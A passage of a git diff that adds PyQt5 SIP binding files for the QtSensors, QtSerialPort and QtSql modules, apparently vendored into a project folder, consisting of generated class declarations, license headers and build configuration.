QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QSensorReading *reading) = 0; + +protected: + QSensorFilter(); + virtual ~QSensorFilter(); +}; + +%End +%If (Qt_5_1_0 -) + +class QSensor : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QSensor, &sipType_QSensor, 2, 1}, + {sipName_QSensorReading, &sipType_QSensorReading, 21, -1}, + {sipName_QAccelerometer, &sipType_QAccelerometer, -1, 3}, + {sipName_QAltimeter, &sipType_QAltimeter, -1, 4}, + {sipName_QAmbientLightSensor, &sipType_QAmbientLightSensor, -1, 5}, + {sipName_QAmbientTemperatureSensor, &sipType_QAmbientTemperatureSensor, -1, 6}, + {sipName_QCompass, &sipType_QCompass, -1, 7}, + #if QT_VERSION >= 0x050400 + {sipName_QDistanceSensor, &sipType_QDistanceSensor, -1, 8}, + #else + {0, 0, -1, 8}, + #endif + {sipName_QGyroscope, &sipType_QGyroscope, -1, 9}, + {sipName_QHolsterSensor, &sipType_QHolsterSensor, -1, 10}, + #if QT_VERSION >= 0x050900 + {sipName_QHumiditySensor, &sipType_QHumiditySensor, -1, 11}, + #else + {0, 0, -1, 11}, + #endif + {sipName_QIRProximitySensor, &sipType_QIRProximitySensor, -1, 12}, + #if QT_VERSION >= 0x050900 + {sipName_QLidSensor, &sipType_QLidSensor, -1, 13}, + #else + {0, 0, -1, 13}, + #endif + {sipName_QLightSensor, &sipType_QLightSensor, -1, 14}, + {sipName_QMagnetometer, &sipType_QMagnetometer, -1, 15}, + {sipName_QOrientationSensor, &sipType_QOrientationSensor, -1, 16}, + {sipName_QPressureSensor, &sipType_QPressureSensor, -1, 17}, + {sipName_QProximitySensor, &sipType_QProximitySensor, -1, 18}, + {sipName_QRotationSensor, &sipType_QRotationSensor, -1, 19}, + {sipName_QTapSensor, &sipType_QTapSensor, -1, 20}, + {sipName_QTiltSensor, &sipType_QTiltSensor, -1, -1}, + {sipName_QAccelerometerReading, &sipType_QAccelerometerReading, -1, 22}, + {sipName_QAltimeterReading, &sipType_QAltimeterReading, -1, 23}, + {sipName_QAmbientLightReading, &sipType_QAmbientLightReading, -1, 24}, + {sipName_QAmbientTemperatureReading, &sipType_QAmbientTemperatureReading, -1, 25}, + {sipName_QCompassReading, &sipType_QCompassReading, -1, 26}, + #if QT_VERSION >= 0x050400 + {sipName_QDistanceReading, &sipType_QDistanceReading, -1, 27}, + #else + {0, 0, -1, 27}, + #endif + {sipName_QGyroscopeReading, &sipType_QGyroscopeReading, -1, 28}, + {sipName_QHolsterReading, &sipType_QHolsterReading, -1, 29}, + #if QT_VERSION >= 0x050900 + {sipName_QHumidityReading, &sipType_QHumidityReading, -1, 30}, + #else + {0, 0, -1, 30}, + #endif + {sipName_QIRProximityReading, &sipType_QIRProximityReading, -1, 31}, + #if QT_VERSION >= 0x050900 + {sipName_QLidReading, &sipType_QLidReading, -1, 32}, + #else + {0, 0, -1, 32}, + #endif + {sipName_QLightReading, &sipType_QLightReading, -1, 33}, + {sipName_QMagnetometerReading, &sipType_QMagnetometerReading, -1, 34}, + {sipName_QOrientationReading, &sipType_QOrientationReading, -1, 35}, + {sipName_QPressureReading, &sipType_QPressureReading, -1, 36}, + {sipName_QProximityReading, &sipType_QProximityReading, -1, 37}, + {sipName_QRotationReading, &sipType_QRotationReading, -1, 38}, + {sipName_QTapReading, &sipType_QTapReading, -1, 39}, + {sipName_QTiltReading, &sipType_QTiltReading, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Feature + { + Buffering, + AlwaysOn, + GeoValues, + FieldOfView, + AccelerationMode, + SkipDuplicates, + AxesOrientation, +%If (Qt_5_2_0 -) + PressureSensorTemperature, +%End + }; + + enum AxesOrientationMode + { + FixedOrientation, + AutomaticOrientation, + UserOrientation, + }; + + QSensor(const QByteArray &type, QObject *parent /TransferThis/ = 0); + virtual ~QSensor(); + QByteArray identifier() const; + void setIdentifier(const QByteArray &identifier); + QByteArray type() const; + bool connectToBackend(); + bool isConnectedToBackend() const; + bool isBusy() const; + void setActive(bool active); + bool isActive() const; + bool isAlwaysOn() const; + void setAlwaysOn(bool alwaysOn); + bool skipDuplicates() const; + void setSkipDuplicates(bool skipDuplicates); + qrangelist availableDataRates() const; + int dataRate() const; + void setDataRate(int rate); + qoutputrangelist outputRanges() const; + int outputRange() const; + void setOutputRange(int index); + QString description() const; + int error() const; + void addFilter(QSensorFilter *filter); + void removeFilter(QSensorFilter *filter); + QList filters() const; + QSensorReading *reading() const; + static QList sensorTypes(); + static QList sensorsForType(const QByteArray &type); + static QByteArray defaultSensorForType(const QByteArray &type); + bool isFeatureSupported(QSensor::Feature feature) const; + QSensor::AxesOrientationMode axesOrientationMode() const; + void setAxesOrientationMode(QSensor::AxesOrientationMode axesOrientationMode); + int currentOrientation() const; + void setCurrentOrientation(int currentOrientation); + int userOrientation() const; + void setUserOrientation(int userOrientation); + int maxBufferSize() const; + void setMaxBufferSize(int maxBufferSize); + int efficientBufferSize() const; + void setEfficientBufferSize(int efficientBufferSize); + int bufferSize() const; + void setBufferSize(int bufferSize); + +public slots: + bool start(); + void stop(); + +signals: + void busyChanged(); + void activeChanged(); + void readingChanged(); + void sensorError(int error); + void availableSensorsChanged(); + void alwaysOnChanged(); + void dataRateChanged(); + void skipDuplicatesChanged(bool skipDuplicates); + void axesOrientationModeChanged(QSensor::AxesOrientationMode axesOrientationMode /ScopesStripped=1/); + void currentOrientationChanged(int currentOrientation); + void userOrientationChanged(int userOrientation); + void maxBufferSizeChanged(int maxBufferSize); + void efficientBufferSizeChanged(int efficientBufferSize); + void bufferSizeChanged(int bufferSize); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtapsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtapsensor.sip new file mode 100644 index 00000000..4448c3d4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtapsensor.sip @@ -0,0 +1,91 @@ +// qtapsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QTapReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum TapDirection + { + Undefined, + X, + Y, + Z, + X_Pos, + Y_Pos, + Z_Pos, + X_Neg, + Y_Neg, + Z_Neg, + X_Both, + Y_Both, + Z_Both, + }; + + QTapReading::TapDirection tapDirection() const; + void setTapDirection(QTapReading::TapDirection tapDirection); + bool isDoubleTap() const; + void setDoubleTap(bool doubleTap); +}; + +%End +%If (Qt_5_1_0 -) + +class QTapFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QTapReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QTapSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTapSensor(QObject *parent /TransferThis/ = 0); + virtual ~QTapSensor(); + QTapReading *reading() const; + bool returnDoubleTapEvents() const; + void setReturnDoubleTapEvents(bool returnDoubleTapEvents); + +signals: + void returnDoubleTapEventsChanged(bool returnDoubleTapEvents); + +private: + QTapSensor(const QTapSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtiltsensor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtiltsensor.sip new file mode 100644 index 00000000..9e186ddd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qtiltsensor.sip @@ -0,0 +1,70 @@ +// qtiltsensor.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QTiltReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal yRotation() const; + void setYRotation(qreal y); + qreal xRotation() const; + void setXRotation(qreal x); +}; + +%End +%If (Qt_5_1_0 -) + +class QTiltFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QTiltReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QTiltSensor : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTiltSensor(QObject *parent /TransferThis/ = 0); + virtual ~QTiltSensor(); + QTiltReading *reading() const; + void calibrate(); + +private: + QTiltSensor(const QTiltSensor &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPort.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPort.toml new file mode 100644 index 00000000..a821aa6f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPort.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtSerialPort. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPortmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPortmod.sip new file mode 100644 index 00000000..5ca4be1f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/QtSerialPortmod.sip @@ -0,0 +1,49 @@ +// QtSerialPortmod.sip generated by MetaSIP +// +// This file is part of the QtSerialPort Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtSerialPort, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qserialport.sip +%Include qserialportinfo.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialport.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialport.sip new file mode 100644 index 00000000..f9aaf8f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialport.sip @@ -0,0 +1,340 @@ +// qserialport.sip generated by MetaSIP +// +// This file is part of the QtSerialPort Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QSerialPort : QIODevice +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QSerialPort, &sipType_QSerialPort, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Direction + { + Input, + Output, + AllDirections, + }; + + typedef QFlags Directions; + + enum BaudRate + { + Baud1200, + Baud2400, + Baud4800, + Baud9600, + Baud19200, + Baud38400, + Baud57600, + Baud115200, + UnknownBaud, + }; + + enum DataBits + { + Data5, + Data6, + Data7, + Data8, + UnknownDataBits, + }; + + enum Parity + { + NoParity, + EvenParity, + OddParity, + SpaceParity, + MarkParity, + UnknownParity, + }; + + enum StopBits + { + OneStop, + OneAndHalfStop, + TwoStop, + UnknownStopBits, + }; + + enum FlowControl + { + NoFlowControl, + HardwareControl, + SoftwareControl, + UnknownFlowControl, + }; + + enum PinoutSignal + { + NoSignal, + TransmittedDataSignal, + ReceivedDataSignal, + DataTerminalReadySignal, + DataCarrierDetectSignal, + DataSetReadySignal, + RingIndicatorSignal, + RequestToSendSignal, + ClearToSendSignal, + SecondaryTransmittedDataSignal, + SecondaryReceivedDataSignal, + }; + + typedef QFlags PinoutSignals; + + enum DataErrorPolicy + { + SkipPolicy, + PassZeroPolicy, + IgnorePolicy, + StopReceivingPolicy, + UnknownPolicy, + }; + + enum SerialPortError + { + NoError, + DeviceNotFoundError, + PermissionError, + OpenError, + ParityError, + FramingError, + BreakConditionError, + WriteError, + ReadError, + ResourceError, + UnsupportedOperationError, +%If (Qt_5_2_0 -) + TimeoutError, +%End +%If (Qt_5_2_0 -) + NotOpenError, +%End + UnknownError, + }; + + explicit QSerialPort(QObject *parent /TransferThis/ = 0); + QSerialPort(const QString &name, QObject *parent /TransferThis/ = 0); + QSerialPort(const QSerialPortInfo &info, QObject *parent /TransferThis/ = 0); + virtual ~QSerialPort(); + void setPortName(const QString &name); + QString portName() const; + void setPort(const QSerialPortInfo &info); + virtual bool open(QIODevice::OpenMode mode); + virtual void close() /ReleaseGIL/; + void setSettingsRestoredOnClose(bool restore); + bool settingsRestoredOnClose() const; + bool setBaudRate(qint32 baudRate, QSerialPort::Directions dir = QSerialPort::AllDirections); + qint32 baudRate(QSerialPort::Directions dir = QSerialPort::AllDirections) const; + bool setDataBits(QSerialPort::DataBits dataBits); + QSerialPort::DataBits dataBits() const; + bool setParity(QSerialPort::Parity parity); + QSerialPort::Parity parity() const; + bool setStopBits(QSerialPort::StopBits stopBits); + QSerialPort::StopBits stopBits() const; + bool setFlowControl(QSerialPort::FlowControl flow); + QSerialPort::FlowControl flowControl() const; + bool setDataTerminalReady(bool set); + bool isDataTerminalReady(); + bool setRequestToSend(bool set); + bool isRequestToSend(); + QSerialPort::PinoutSignals pinoutSignals(); + bool flush() /ReleaseGIL/; + bool clear(QSerialPort::Directions dir = QSerialPort::AllDirections); + virtual bool atEnd() const; + bool setDataErrorPolicy(QSerialPort::DataErrorPolicy policy = QSerialPort::IgnorePolicy); + QSerialPort::DataErrorPolicy dataErrorPolicy() const; + QSerialPort::SerialPortError error() const; + void clearError(); + qint64 readBufferSize() const; + void setReadBufferSize(qint64 size); + virtual bool isSequential() const; + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool canReadLine() const; +%If (- Qt_5_11_0) + virtual bool waitForReadyRead(int msecs) /ReleaseGIL/; +%End +%If (Qt_5_11_0 -) + virtual bool waitForReadyRead(int msecs = 30000) /ReleaseGIL/; +%End +%If (- Qt_5_11_0) + virtual bool waitForBytesWritten(int msecs) /ReleaseGIL/; +%End +%If (Qt_5_11_0 -) + virtual bool waitForBytesWritten(int msecs = 30000) /ReleaseGIL/; +%End + bool sendBreak(int duration = 0) /ReleaseGIL/; + bool setBreakEnabled(bool enabled = true); + +signals: + void baudRateChanged(qint32 baudRate, QSerialPort::Directions directions); + void dataBitsChanged(QSerialPort::DataBits dataBits); + void parityChanged(QSerialPort::Parity parity); + void stopBitsChanged(QSerialPort::StopBits stopBits); + void flowControlChanged(QSerialPort::FlowControl flow); + void dataErrorPolicyChanged(QSerialPort::DataErrorPolicy policy); + void dataTerminalReadyChanged(bool set); + void requestToSendChanged(bool set); + void error(QSerialPort::SerialPortError serialPortError); + void settingsRestoredOnCloseChanged(bool restore); + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxSize)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QSerialPort::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual SIP_PYOBJECT readLineData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxSize)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QSerialPort::readLineData(s, a0) : sipCpp->readLineData(s, a0); + #else + len = sipCpp->sipProtectVirt_readLineData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 maxSize /ArraySize/) /ReleaseGIL/; + +public: +%If (Qt_5_2_0 -) +%If (WS_WIN) + void *handle() const; +%End +%End +%If (Qt_5_2_0 -) +%If (WS_X11 || WS_MACX) + int handle() const; +%End +%End +%If (Qt_5_5_0 -) + bool isBreakEnabled() const; +%End + +signals: +%If (Qt_5_5_0 -) + void breakEnabledChanged(bool set); +%End +%If (Qt_5_8_0 -) + void errorOccurred(QSerialPort::SerialPortError error); +%End +}; + +%End +%If (Qt_5_1_0 -) +QFlags operator|(QSerialPort::Direction f1, QFlags f2); +%End +%If (Qt_5_1_0 -) +QFlags operator|(QSerialPort::PinoutSignal f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialportinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialportinfo.sip new file mode 100644 index 00000000..25c83288 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSerialPort/qserialportinfo.sip @@ -0,0 +1,56 @@ +// qserialportinfo.sip generated by MetaSIP +// +// This file is part of the QtSerialPort Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QSerialPortInfo +{ +%TypeHeaderCode +#include +%End + +public: + QSerialPortInfo(); + explicit QSerialPortInfo(const QSerialPort &port); + explicit QSerialPortInfo(const QString &name); + QSerialPortInfo(const QSerialPortInfo &other); + ~QSerialPortInfo(); + void swap(QSerialPortInfo &other /Constrained/); + QString portName() const; + QString systemLocation() const; + QString description() const; + QString manufacturer() const; + quint16 vendorIdentifier() const; + quint16 productIdentifier() const; + bool hasVendorIdentifier() const; + bool hasProductIdentifier() const; + bool isBusy() const; + bool isValid() const; + static QList standardBaudRates(); + static QList availablePorts(); + bool isNull() const; +%If (Qt_5_3_0 -) + QString serialNumber() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSql.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSql.toml new file mode 100644 index 00000000..23f07a5f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSql.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtSql. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSqlmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSqlmod.sip new file mode 100644 index 00000000..4a057be1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/QtSqlmod.sip @@ -0,0 +1,62 @@ +// QtSqlmod.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtSql, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qsql.sip +%Include qsqldatabase.sip +%Include qsqldriver.sip +%Include qsqlerror.sip +%Include qsqlfield.sip +%Include qsqlindex.sip +%Include qsqlquery.sip +%Include qsqlquerymodel.sip +%Include qsqlrecord.sip +%Include qsqlrelationaldelegate.sip +%Include qsqlrelationaltablemodel.sip +%Include qsqlresult.sip +%Include qsqltablemodel.sip +%Include qtsqlglobal.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsql.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsql.sip new file mode 100644 index 00000000..5ad996a6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsql.sip @@ -0,0 +1,67 @@ +// qsql.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (- Qt_5_8_0) + +namespace QSql +{ +%TypeHeaderCode +#include +%End + + enum Location + { + BeforeFirstRow, + AfterLastRow, + }; + + enum ParamTypeFlag + { + In, + Out, + InOut, + Binary, + }; + + typedef QFlags ParamType; + + enum TableType + { + Tables, + SystemTables, + Views, + AllTables, + }; + + enum NumericalPrecisionPolicy + { + LowPrecisionInt32, + LowPrecisionInt64, + LowPrecisionDouble, + HighPrecision, + }; +}; + +%End +%If (- Qt_5_8_0) +QFlags operator|(QSql::ParamTypeFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldatabase.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldatabase.sip new file mode 100644 index 00000000..703e8961 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldatabase.sip @@ -0,0 +1,97 @@ +// qsqldatabase.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlDriverCreatorBase /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSqlDriverCreatorBase(); + virtual QSqlDriver *createObject() const = 0 /Factory/; +}; + +class QSqlDatabase +{ +%TypeHeaderCode +#include +%End + +public: + QSqlDatabase(); + QSqlDatabase(const QSqlDatabase &other); + ~QSqlDatabase(); + bool open() /ReleaseGIL/; + bool open(const QString &user, const QString &password) /ReleaseGIL/; + void close(); + bool isOpen() const; + bool isOpenError() const; + QStringList tables(QSql::TableType type = QSql::Tables) const; + QSqlIndex primaryIndex(const QString &tablename) const; + QSqlRecord record(const QString &tablename) const; + QSqlQuery exec(const QString &query = QString()) const /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + QSqlQuery exec(const QString &query = QString()) const /ReleaseGIL/; +%End + QSqlError lastError() const; + bool isValid() const; + bool transaction() /ReleaseGIL/; + bool commit() /ReleaseGIL/; + bool rollback() /ReleaseGIL/; + void setDatabaseName(const QString &name); + void setUserName(const QString &name); + void setPassword(const QString &password); + void setHostName(const QString &host); + void setPort(int p); + void setConnectOptions(const QString &options = QString()); + QString databaseName() const; + QString userName() const; + QString password() const; + QString hostName() const; + QString driverName() const; + int port() const; + QString connectOptions() const; + QString connectionName() const; + QSqlDriver *driver() const; + static QSqlDatabase addDatabase(const QString &type, const QString &connectionName = QLatin1String(QSqlDatabase::defaultConnection)); + static QSqlDatabase addDatabase(QSqlDriver *driver, const QString &connectionName = QLatin1String(QSqlDatabase::defaultConnection)); + static QSqlDatabase cloneDatabase(const QSqlDatabase &other, const QString &connectionName); +%If (Qt_5_13_0 -) + static QSqlDatabase cloneDatabase(const QString &other, const QString &connectionName); +%End + static QSqlDatabase database(const QString &connectionName = QLatin1String(QSqlDatabase::defaultConnection), bool open = true); + static void removeDatabase(const QString &connectionName); + static bool contains(const QString &connectionName = QLatin1String(QSqlDatabase::defaultConnection)); + static QStringList drivers(); + static QStringList connectionNames(); + static void 